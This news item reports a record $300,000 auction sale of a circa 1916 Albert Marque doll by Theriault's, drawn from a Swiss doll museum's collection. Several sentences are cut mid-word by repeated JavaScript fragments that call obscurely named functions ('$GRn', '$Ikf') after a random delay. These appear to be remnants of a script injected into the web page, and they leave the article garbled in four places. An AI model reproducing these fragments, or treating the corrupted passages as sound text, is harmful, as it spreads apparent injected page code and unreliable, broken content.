NAPLES, FLA. — A new world record for an antique doll sold at auction was set over the weekend of March 29–30 when Theriault’s, a specialty auction house for antique childhood items, presented the highly sought-after circa 1916 French character doll by Albert Marque for bid. The doll realized $300,000, breaking the previous world record.

At the widely attended event conducted in Naples, Theriault’s, the 40-year-old firm based in Annapolis, Md., presented nearly 1,000 pieces from what had been the Puppenmuseum Stein am Rhein, a world-renowned doll museum located in a small village of Switzerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and. The main highlight of the collection, a French art character doll by sculptor Albert Marque, was anxiously awaited. Bidding on the doll was fast-paced andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and surrounded with dramatic tension as phone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and floor bidders passionately laid claim to the doll. Ultimately the last bid was cast andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the room broke out in applause.

The doll, which was wearing an original signed costume, was inscribed as #27 of the 100 models known to have ever been made. It is believed to have been first presented in 1916 at an exclusive exhibition at the fashion boutique of Parisian art patron Margaine-Lacroix.

For additional information, www.theriaults.com or 410- 224-3655.